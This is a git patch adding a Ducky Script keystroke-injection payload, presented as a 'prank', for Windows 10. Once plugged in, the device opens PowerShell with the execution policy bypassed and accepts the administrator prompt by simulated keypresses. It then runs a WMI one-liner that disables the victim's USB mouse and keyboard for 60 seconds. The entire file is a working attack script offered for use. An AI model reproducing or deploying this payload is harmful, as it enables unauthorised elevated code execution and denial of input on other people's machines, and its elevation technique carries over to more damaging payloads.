From b1bfb83423fbf752aae128e6080168417c9fa0a0 Mon Sep 17 00:00:00 2001 From: beigeworm <93350544+beigeworm@users.noreply.github.com> Date: Mon, 7 Aug 2023 20:20:29 +0000 Subject: [PATCH] Add files via upload --- Pranks/Kill I-O Devices.txt | 22 ++++++++++++++++++++++ 1 file changed, 22 insertions(+) create mode 100644 Pranks/Kill I-O Devices.txt diff --git a/Pranks/Kill I-O Devices.txt b/Pranks/Kill I-O Devices.txt new file mode 100644 index 0000000..8081b39 --- /dev/null +++ b/Pranks/Kill I-O Devices.txt @@ -0,0 +1,22 @@ +REM Title: beigeworm's Mouse and Keyboard Killer. +REM Author: @beigeworm +REM Description: This script Disables mouse and keyboard input for a number of seconds. +REM Target: Windows 10 + +REM Setup: Change $WaitTime to desired amount of seconds.. + +REM some setup for dukie script +DEFAULT_DELAY 100 + +REM open powershell +DELAY 1000 +GUI r +DELAY 750 +STRING powershell -NoP -Ep Bypass +CTRL-SHIFT ENTER +DELAY 2500 +ALT y +DELAY 5000 + +STRING $WaitTime = 60 ;$PNPMice = Get-WmiObject Win32_USBControllerDevice | %{[wmi]$_.dependent} | ?{$_.pnpclass -eq 'Mouse'};$PNPMice.Disable();$PNPKeyboard = Get-WmiObject Win32_USBControllerDevice | %{[wmi]$_.dependent} | ?{$_.pnpclass -eq 'Keyboard'};$PNPKeyboard.Disable();Sleep $WaitTime;$PNPMice.Enable();$PNPKeyboard.Enable();exit +ENTER \ No newline at end of file